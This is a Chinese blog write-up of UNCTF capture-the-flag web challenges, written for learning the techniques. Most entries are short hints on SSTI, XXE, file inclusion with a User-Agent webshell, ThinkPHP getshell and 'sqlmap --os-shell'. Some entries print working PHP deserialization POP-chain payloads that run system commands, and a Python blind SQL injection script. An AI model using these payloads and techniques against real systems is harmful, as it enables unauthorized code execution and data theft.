文章目录
本文原地址 转载请标注原作者信息
http://www.hardlic.top/index.php/archives/46/
前言
本来想去打一打UNCTF看看这一年到底学的怎么样做一个总结吧,然后就被新生赛炸了捏,真卷55
web
ezgame
打开main.js ctrl f搜索关键字得到flag
我太喜欢bilibili大学啦
一样ctrl f一把梭
签到
先看源码,20200101,还以为是sql试了半天发现不是,然后就从20200101遍历了一下得到flag
babyphp
0e科学计数法绕过+数组绕过+rce空格用%09代替,然后cat用more代替,*是用来匹配f开头的文件的,不难
easy_upload
开局一个文件上传传了几下发现啥都上不去,找找别的路子,扫了下路径,有个www.rar很不错
打开一看index.php文件有读取文件的功能,尝试着盲打了一下看看能不能读取到nginx的log进行日志包含,还真可以
在user-agent写上一句话木马,这样马比较容易连
打完之后直接上蚁剑
在home文件中找到flag,这题应该叫ezinclude
我太喜欢bilibili大学啦修复版
题目给的提示藏了两个hint尝试搜索hint
尝试了sql和弱口令发现进不去打开源码,在源码提示了抓包
抓包后成功找到hint2
302与深大
传半天cookie传不上,后来听别的师傅说才知道是cookie=true,我是直接扫的目录得到
给你一刀
这个就没什么好说的直接thinkphp5.0工具一键getshell
听说php有一个xxe
打开就看见you can ask the hint于是访问了hint文件
猜测应该是能加载xml的,去网上找了个xxe的payload来自于MustaphaMond师傅的文章看起来还不错https://www.cnblogs.com/20175211lyz/p/11413335.html传的时候记得改成post发包
easy ssti
开局一个登陆框测试了一下{{7*7}},发现49得知存在jinjia2ssti模板注入
这里掏出了1982的payload
在env下发现flag,看见很多新人师傅在正常路径下找不到flag,其实env还挺常见的,就多积累吧,像这种flag还算常规
ezunseri
直接上poc,没什么难度,链子是Login::_destruct -> Exec::_get -> Test::_toString -> Exec::_invoke->Exec::execute跑完把login改成大于2绕过_wakeup就行了
<?php
highlight_file(__FILE__);
class Exec
{
public $content;
public function execute($var){
eval($this->content);
}
public function __get($name){
echo $this->content;
}
public function __invoke(){
$content = $this->execute($this->content);
}
public function __wakeup()
{
$this->content = "";
die("1!5!");
}
}
class Test
{
public $test;
public $key;
public function __construct(){
$this->test = "test123";
}
public function __toString(){
$name = $this->test;
$name();
}
}
class Login
{
private $name;
public $code = " JUST FOR FUN";
public $key;
public function __construct($name="UNCTF"){
$this->name = $name;
}
public function show(){
echo $this->name.$this->code;
}
public function __destruct(){
if($this->code = '3.1415926'){
return $this->key->name;
}
}
}
if(isset($_GET['pop'])){
$a = unserialize($_GET["pop"]);
}else{
$a = new Login();
$a->show();
}
<?php
class Exec
{
public $content;
}
class Test
{
public $test;
}
class Login
{
public $code;
public $key;
public $name;
}
$poc1 = new Login();
$poc2=new Test();
$poc3 = new Exec();
$poc1->key=$poc3;
$poc3->content=$poc2;
$poc2->test=new Exec();
$poc2->test->content="system(\"ls \/\");";
echo serialize($poc1);
poppop
直接上poc吧挺简单的链子是B::_destruct->C::_tostring->A::_call
<?php
Class A{
public $code;
}
Class B{
public $key;
}
Class C{
public $key2;
}
$a = new A();
$b = new B();
$c = new C();
$b->key=$c;
$c->key2=$a;
$a->code="phpinfo();";
$poc=serialize($b);
echo $poc;
?>
考察_wakeup和private私有变量的绕过,执行后在把A的成员变量改成2并在key2前面加上%00C%00然后把s改成7就ok了(不会的师傅可以去搜一下私有变量绕过和_wakeup绕过)
babynode
ctfhshow338原型链污染小坑点在于改成application/json
参考yu师傅的ctfshowwphttps://blog.csdn.net/miuzzx/article/details/111780832
学习原型链污染解析可以去p神那边看看说的很清楚https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
app.post('/', function(req, res) {
var flag='flag';
var admin = {};
let user = {};
try{copy(user,req.body);
} catch (error){
res.send("copy error");
return;}
if(admin.id==='unctf'){
res.end(flag);
}else{return res.end("error");}})
随便注
sqlmap --os-shell 这里直接–os-shell拿下,本质是报错注入写木马
easy_rce
命令行无回显注入分号用%0a替换
看高延迟的payload 得到flag
Sqlsql
一个简单的二次注入,在注册时进行盲注并在login页面后如果登陆成功即可返回已完成考试盲注得到admin的密码登陆后在查询页面输入admin的密码得到flag
import requests
dict="=+_{}-[]!<>,.?`qazwsxedcrfvtgbyhnujmikolp1234567890"
Register="http://c029fda0-6d72-4ac5-b6c0-c70fe6599bc7.node.yuzhian.com.cn/register.php"
Login="http://c029fda0-6d72-4ac5-b6c0-c70fe6599bc7.node.yuzhian.com.cn/login.php"
flag=""
username=''
studentid=212106000
for i in range(0,5):
for j in range(1,20):
for k in range(1,128):
payload1 = "1' or if(ascii(substr((select `studentid` from `users` where `username` ='admin' limit %d,1),%d,1))=%d,1,0)#"%(i,j,k)
data = {"username":payload1,"studentid":studentid,"submit":"提交"}
r1 = requests.post(Register,data=data)
r2 = requests.post(Login, data=data)
studentid = studentid + 1
if '已完成考试' in r2.text:
flag += chr(k)
print(flag)
flag=''
世界和平
没写出来吐槽一下这双写绕过压根看不出来咩(也有可能是太菜了)
三消
听别的师傅说有个index.php.bak,我的dirsearch没扫出来
2048
js有点可惜这比赛打到后面不太想看代码了,js调试瞎搞了半天没搞出来(果然是太菜了),想请教一下会的师傅~
更多wp详情可以关注师傅的博客:www.hardlic.top,也可以加师傅的好友多交流,共同进步